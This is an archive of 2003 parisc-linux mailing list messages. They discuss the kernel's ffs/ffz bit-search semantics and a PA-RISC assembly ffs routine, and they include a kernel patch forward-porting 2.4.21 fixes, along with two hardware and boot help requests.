Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: 04 Aug 2003 11:08:01 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <1060013284.1983.32.camel@fuzzy>
References: <20030801171426.GA18508@security.hp.com>
	<3F29178A00000A99@ocpmta7.freegates.net> 
	<20030804151449.GS18508@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622645 28731 80.91.229.3 (22 Nov 2014 02:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:25 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>, parisc-linux@parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 10:08:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73BA0482E
	for <parisc-linux@parisc-linux.org>; Mon,  4 Aug 2003 10:08:12 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h74G82I22159;
	Mon, 4 Aug 2003 12:08:02 -0400
In-Reply-To: <20030804151449.GS18508@security.hp.com>
X-Mailer: Ximian Evolution 1.0.3.99 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19089

Let me try to clarify, since there are two differently defined macros in
the kernel (off by one) that would appear to have the same interface,
but which in fact have different semantics (I know, recipe for
disaster):  ffs and ffz (meaning find first set and find first zero).

Both tend to have machine code implementations for architectures that
support them.  The difference is that ffz counts bit zero as zero, but
ffz counts bit zero as one.

They also have different requirements for the error case (no bit set for
ffs and no bit zero for ffz).  For ffs, this is defined to be 32.  For
ffz, this is undefined.

The reason for all of this is that on x86 there is an instruction bsfl
that actually finds first set bit (but counting from zero, not one), but
the O(1) scheduler needed to find clear bits for the arrays, so ffz was
implemented as the complement of this.

ffs has been around a long time (inherited from BSD).  The differing
semantics are because "damnit, computers count from zero not one for
fast operations".

i.e.

ffs(0) == 0
ffz(0) == 0

ffs(1) == 1
ffz(~1) == 0  (same as above ffz, bit zero clear)

ffs(2) == 2
ffz(~3) == 1

[...]

ffs(0x8000000) == 32
ffz(0x7ffffff) == 31

ffz(0xffffffff) == could be anything

Some machine architectures have an __ffs() (usually mirroring a machine
instruction) whose semantics are identical to ffs() except that it also
is undefined in the error case (so ffs can simply be implemented as if
not error case, do __ffs()).

James




From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mark Mestdagh" <Mark.Mestdagh@Icon-Europe.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mobo for J5600
Date: Mon, 4 Aug 2003 18:51:40 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <HOEDKHACIIOGKPMMFMCGEEGACPAA.Mark.Mestdagh@Icon-Europe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622645 28736 80.91.229.3 (22 Nov 2014 02:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:25 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 10:48:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from astra.telenet-ops.be (astra.telenet-ops.be [195.130.132.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id C76D4482E
	for <parisc-linux@parisc-linux.org>; Mon,  4 Aug 2003 10:48:36 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by astra.telenet-ops.be (Postfix) with SMTP id A9E5B37F7B
	for <parisc-linux@parisc-linux.org>; Mon,  4 Aug 2003 18:48:35 +0200 (MEST)
Original-Received: from iconbemewin01 (D576CE7F.kabel.telenet.be [213.118.206.127])
	by astra.telenet-ops.be (Postfix) with SMTP id 5593937F2F
	for <parisc-linux@parisc-linux.org>; Mon,  4 Aug 2003 18:48:35 +0200 (MEST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19090

Hi

it seems one of my scsi controllers broke down, so I need a new mobo. I
called a local supplier (Belgium) who told it costs 2500 euro for the
motherboard which includes also 2 processors.
Do you have to buy this with those processors? Isn't there any other
solution possible?

Thx guys
Mark



From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: Mon, 4 Aug 2003 18:53:54 +0200
Lines: 163
Approved: news@gmane.org
Message-ID: <3F29178A00000CB4@ocpmta7.freegates.net>
References: <20030804151449.GS18508@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622646 28743 80.91.229.3 (22 Nov 2014 02:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:26 +0000 (UTC)
Cc: lamont@hp.com, "James Bottomley" <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org
To: lamont@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 10:53:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C4EE482E
	for <parisc-linux@parisc-linux.org>; Mon,  4 Aug 2003 10:53:58 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19jiYb-0003W8-00; Mon, 04 Aug 2003 18:51:37 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 4 Aug 2003 18:53:54 +0200
In-Reply-To: <20030804151449.GS18508@security.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19091

>>   int ret=0;
>>   __asm__(" ldi    31,%1\n"
>
>Make it say 32,%1...  Mistake in understanding things on my part...


Yes,

the following code:

int fastffs(int x)
{
  int ret=0;
  if (x)
    __asm__(" ldi    32,%1\n"
      " extru,<>  %0,31,16,%%r0\n"
      " extru,TR  %0,15,16,%0\n"
      " addi    -16,%1,%1\n"
      " extru,<>  %0,31,8,%%r0\n"
      " extru,TR  %0,23,8,%0\n"
      " addi    -8,%1,%1\n"
      " extru,<>  %0,31,4,%%r0\n"
      " extru,TR  %0,27,4,%0\n"
      " addi    -4,%1,%1\n"
      " extru,<>  %0,31,2,%%r0\n"
      " extru,TR  %0,29,2,%0\n"
      " addi    -2,%1,%1\n"
      " extru,=  %0,31,1,%%r0\n"
      " addi    -1,%1,%1\n"
      : "=r" (x), "=r" (ret)
      : "0" (x), "1" (ret));

  return ret;
}

give now the same results as generic_ffs:

fastffs(0)==0
generic_ffs(0)==0

fastffs(1)==1
generic_ffs(1)==1

fastffs(2)==2
generic_ffs(2)==2

fastffs(3)==1
generic_ffs(3)==1

fastffs(4)==3
generic_ffs(4)==3

fastffs(5)==1
generic_ffs(5)==1

fastffs(10)==2
generic_ffs(10)==2

fastffs(20)==3
generic_ffs(20)==3

fastffs(40)==4
generic_ffs(40)==4

fastffs(80)==5
generic_ffs(80)==5

fastffs(160)==6
generic_ffs(160)==6

fastffs(320)==7
generic_ffs(320)==7

fastffs(640)==8
generic_ffs(640)==8

fastffs(1280)==9
generic_ffs(1280)==9

fastffs(2560)==10
generic_ffs(2560)==10

fastffs(5120)==11
generic_ffs(5120)==11

fastffs(10240)==12
generic_ffs(10240)==12

fastffs(20480)==13
generic_ffs(20480)==13

fastffs(40960)==14
generic_ffs(40960)==14

fastffs(81920)==15
generic_ffs(81920)==15

fastffs(163840)==16
generic_ffs(163840)==16

fastffs(327680)==17
generic_ffs(327680)==17

fastffs(655360)==18
generic_ffs(655360)==18

fastffs(1310720)==19
generic_ffs(1310720)==19

fastffs(2621440)==20
generic_ffs(2621440)==20

fastffs(5242880)==21
generic_ffs(5242880)==21

fastffs(10485760)==22
generic_ffs(10485760)==22

fastffs(20971520)==23
generic_ffs(20971520)==23

fastffs(41943040)==24
generic_ffs(41943040)==24

fastffs(83886080)==25
generic_ffs(83886080)==25

fastffs(167772160)==26
generic_ffs(167772160)==26

fastffs(335544320)==27
generic_ffs(335544320)==27

fastffs(671088640)==28
generic_ffs(671088640)==28

fastffs(1342177280)==29
generic_ffs(1342177280)==29

fastffs(-1610612736)==30
generic_ffs(-1610612736)==30

fastffs(1073741824)==31
generic_ffs(1073741824)==31

fastffs(-2147483648)==32
generic_ffs(-2147483648)==32


Great job. If everybody agreed could you ci (I have no cvs ci access).
Or do you need a more accurate patch?

Thanks,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: Mon, 4 Aug 2003 19:04:31 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <3F29178A00000CBA@ocpmta7.freegates.net>
References: <1060013284.1983.32.camel@fuzzy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622646 28749 80.91.229.3 (22 Nov 2014 02:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>,
	"LaMont Jones" <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 11:04:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F15A482E
	for <parisc-linux@parisc-linux.org>; Mon,  4 Aug 2003 11:04:44 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19jihz-0001es-00; Mon, 04 Aug 2003 19:01:19 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 4 Aug 2003 19:04:31 +0200
In-Reply-To: <1060013284.1983.32.camel@fuzzy>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19092

James,

Many thanks for those clear explanation,

Joel

> -- Original Message --
> From: James Bottomley <James.Bottomley@steeleye.com>
> To: LaMont Jones <lamont@hp.com>
> Cc: Joel Soete <jsoe0708@tiscali.be>, parisc-linux@parisc-linux.org
> Date: 04 Aug 2003 11:08:01 -0500
> Subject: Re: [parisc-linux] backport bitops.h stuff
> 
> 
> Let me try to clarify, since there are two differently defined macros in
the kernel (off by one) that would appear to have the same interface,
but which in fact have different semantics (I know, recipe for
disaster):  ffs and ffz (meaning find first
> set and find first zero).

Both tend to have machine code implementations for architectures that
support them.  The difference is that ffz counts bit zero as zero, but
ffz counts bit zero as one.

They also have different requirements for the err
> r case (no bit set for
ffs and no bit zero for ffz).  For ffs, this is defined to be 32.  For
ffz, this is undefined.

The reason for all of this is that on x86 there is an instruction bsfl
that actually finds first set bit (but counting from zero
>  not one), but
the O(1) scheduler needed to find clear bits for the arrays, so ffz was
implemented as the complement of this.

ffs has been around a long time (inherited from BSD).  The differing
semantics are because "damnit, computers count from
> zero not one for
fast operations".

i.e.

ffs(0) == 0
ffz(0) == 0

ffs(1) == 1
ffz(~1) == 0  (same as above ffz, bit zero clear)

ffs(2) == 2
ffz(~3) == 1

[...]

ffs(0x8000000) == 32
ffz(0x7ffffff) == 31

ffz(0xffffffff) == could be
> anything

Some machine architectures have an __ffs() (usually mirroring a machine
instruction) whose semantics are identical to ffs() except that it also
is undefined in the error case (so ffs can simply be implemented as if
not error case, do __f
> s()).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adam Henson <adam@the-sugarat.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C200 Booting Difficulties
Date: Mon, 04 Aug 2003 18:31:34 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <3F2E9876.7090000@the-sugarat.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622646 28754 80.91.229.3 (22 Nov 2014 02:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 11:31:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colossus.systems.pipex.net (colossus.systems.pipex.net [62.241.160.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CBEB482E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Aug 2003 11:31:35 -0600 (MDT)
Original-Received: from the-sugarat.net (81-86-150-182.dsl.pipex.com [81.86.150.182])
	by colossus.systems.pipex.net (Postfix) with ESMTP id 08703160000C7
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Aug 2003 18:31:35 +0100 (BST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030620 Debian/1.3-4.lindows37
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19093

Hello All,

   I have recently attempted to boot a debian-hppa cd on my C200 
workstation. All seems to go well and the kernel boots, but just after 
it says that init is starting up the screen goes blank, all the lights 
on the case come on, and the system just hangs.

Is there anything I can try to get round this?

  many thanks,

    Adam



From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 grundler
Date: Mon, 4 Aug 2003 23:18:52 -0600
Lines: 207
Approved: news@gmane.org
Message-ID: <20030805051852.GA20450@dsl2.external.hp.com>
References: <20030805051538.E7AD6494004@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622647 28759 80.91.229.3 (22 Nov 2014 02:17:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 23:18:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C9077482E; Mon,  4 Aug 2003 23:18:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030805051538.E7AD6494004@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19094

On Mon, Aug 04, 2003 at 11:15:38PM -0600, Grant Grundler wrote:
> Log message:
> 2.6.0-test2-pa6  Forward port 2.4.21 fixes
> 
> o add probe_irq_mask() (Arnaldo Del Melo)
> o add __canonicalize_funcptr_for_compare() (me)
> o add hppa to list of arches for "MMAPIO" in aic7xxx (me)
> o break build if get/put_user/kernel are abused (Joel Soete)

Trying to keep willy happy :^)
Thanks to Arnaldo/Joel for patches.

grant


Index: Makefile
===================================================================
RCS file: /var/cvs/linux-2.5/Makefile,v
retrieving revision 1.144
diff -u -p -r1.144 Makefile
--- Makefile	2 Aug 2003 21:50:59 -0000	1.144
+++ Makefile	5 Aug 2003 05:10:27 -0000
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 6
 SUBLEVEL = 0
-EXTRAVERSION = -test2-pa5
+EXTRAVERSION = -test2-pa6
 
 # *DOCUMENTATION*
 # To see a list of typical targets execute "make help"
Index: arch/parisc/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/Kconfig,v
retrieving revision 1.23
diff -u -p -r1.23 Kconfig
--- arch/parisc/Kconfig	14 Jul 2003 12:32:20 -0000	1.23
+++ arch/parisc/Kconfig	5 Aug 2003 05:10:27 -0000
@@ -186,7 +186,7 @@ source "drivers/scsi/Kconfig"
 
 source "drivers/md/Kconfig"
 
-#source drivers/message/fusion/Kconfig
+source drivers/message/fusion/Kconfig
 
 #source drivers/ieee1394/Kconfig
 
Index: arch/parisc/kernel/irq.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/irq.c,v
retrieving revision 1.19
diff -u -p -r1.19 irq.c
--- arch/parisc/kernel/irq.c	5 May 2003 21:34:24 -0000	1.19
+++ arch/parisc/kernel/irq.c	5 Aug 2003 05:10:27 -0000
@@ -842,6 +842,10 @@ int probe_irq_off(unsigned long val)
 	return irq_found;
 }
 
+unsigned int probe_irq_mask(unsigned long irqs)
+{
+	return 0;
+}
 
 void __init init_IRQ(void)
 {
Index: arch/parisc/kernel/parisc_ksyms.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.21
diff -u -p -r1.21 parisc_ksyms.c
--- arch/parisc/kernel/parisc_ksyms.c	9 Jun 2003 02:24:25 -0000	1.21
+++ arch/parisc/kernel/parisc_ksyms.c	5 Aug 2003 05:10:27 -0000
@@ -37,6 +37,7 @@ EXPORT_SYMBOL(get_pci_node_path);
 #include <asm/irq.h>
 EXPORT_SYMBOL(enable_irq);
 EXPORT_SYMBOL(disable_irq);
+EXPORT_SYMBOL(probe_irq_mask);
 
 #include <asm/processor.h>
 EXPORT_SYMBOL(kernel_thread);
@@ -200,6 +201,9 @@ EXPORT_SYMBOL(__ashrdi3);
 EXPORT_SYMBOL(__ashldi3);
 EXPORT_SYMBOL(__lshrdi3);
 EXPORT_SYMBOL(__muldi3);
+
+asmlinkage void * __canonicalize_funcptr_for_compare(void *);
+EXPORT_SYMBOL_NOVERS(__canonicalize_funcptr_for_compare);
 
 #ifdef __LP64__
 extern void __divdi3(void);
Index: arch/parisc/kernel/real2.S
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/real2.S,v
retrieving revision 1.4
diff -u -p -r1.4 real2.S
--- arch/parisc/kernel/real2.S	14 Jul 2003 15:21:07 -0000	1.4
+++ arch/parisc/kernel/real2.S	5 Aug 2003 05:10:27 -0000
@@ -275,6 +275,7 @@ r64_ret:
 	nop
 
 #endif
+
 	.export pc_in_user_space
 	.text
 	/* Doesn't belong here but I couldn't find a nicer spot. */
@@ -283,3 +284,17 @@ pc_in_user_space:
 	bv,n	0(%rp)
 	nop
 
+
+	.export __canonicalize_funcptr_for_compare
+	.text
+	/* http://lists.parisc-linux.org/hypermail/parisc-linux/10916.html
+	**	GCC 3.3 and later has a new function in libgcc.a for
+	**	comparing function pointers.
+	*/
+__canonicalize_funcptr_for_compare:
+#ifdef __LP64__
+	bve (%r2)
+#else
+	bv %r0(%r2)
+#endif
+	copy %r26,%r28
Index: drivers/scsi/aic7xxx/aic79xx_osm.h
===================================================================
RCS file: /var/cvs/linux-2.5/drivers/scsi/aic7xxx/aic79xx_osm.h,v
retrieving revision 1.9
diff -u -p -r1.9 aic79xx_osm.h
--- drivers/scsi/aic7xxx/aic79xx_osm.h	27 Jul 2003 19:55:52 -0000	1.9
+++ drivers/scsi/aic7xxx/aic79xx_osm.h	5 Aug 2003 05:10:28 -0000
@@ -590,7 +590,8 @@ ahd_delay(long usec)
 
 
 /***************************** Low Level I/O **********************************/
-#if defined(__powerpc__) || defined(__i386__) || defined(__ia64__)
+#if defined(__powerpc__) || defined(__i386__) || defined(__ia64__) \
+	|| defined(__hppa__)
 #define MMAPIO
 #endif
 
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.5/include/asm-parisc/uaccess.h,v
retrieving revision 1.7
diff -u -p -r1.7 uaccess.h
--- include/asm-parisc/uaccess.h	12 Jan 2003 08:24:26 -0000	1.7
+++ include/asm-parisc/uaccess.h	5 Aug 2003 05:10:29 -0000
@@ -28,6 +28,11 @@
  * that put_user is the same as __put_user, etc.
  */
 
+extern int __get_kernel_bad(void);
+extern int __get_user_bad(void);
+extern int __put_kernel_bad(void);
+extern int __put_user_bad(void);
+
 #define access_ok(type,addr,size)   (1)
 #define verify_area(type,addr,size) (0)
 
@@ -35,8 +40,8 @@
 #define get_user __get_user
 
 #if BITS_PER_LONG == 32
-#define LDD_KERNEL(ptr)		BUG()
-#define LDD_USER(ptr)		BUG()
+#define LDD_KERNEL(ptr) __get_kernel_bad();
+#define LDD_USER(ptr) __get_user_bad();
 #define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
 #define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
 #else
@@ -72,7 +77,7 @@ struct exception_table_entry {
 	    case 2: __get_kernel_asm("ldh",ptr); break; \
 	    case 4: __get_kernel_asm("ldw",ptr); break; \
 	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: BUG(); break;                      \
+	    default: __get_kernel_bad(); break;         \
 	    }                                           \
 	}                                               \
 	else {                                          \
@@ -81,7 +86,7 @@ struct exception_table_entry {
 	    case 2: __get_user_asm("ldh",ptr); break;   \
 	    case 4: __get_user_asm("ldw",ptr); break;   \
 	    case 8: LDD_USER(ptr);  break;		\
-	    default: BUG(); break;                      \
+	    default: __get_user_bad(); break;           \
 	    }                                           \
 	}                                               \
 							\
@@ -141,7 +146,7 @@ struct exception_table_entry {
 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
 	    case 8: STD_KERNEL(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_kernel_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
@@ -150,7 +155,7 @@ struct exception_table_entry {
 	    case 2: __put_user_asm("sth",x,ptr); break;         \
 	    case 4: __put_user_asm("stw",x,ptr); break;         \
 	    case 8: STD_USER(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_user_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 								\


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stale references to io_request_lock
Date: Mon, 4 Aug 2003 23:59:19 -0600
Lines: 15
Approved: news@gmane.org
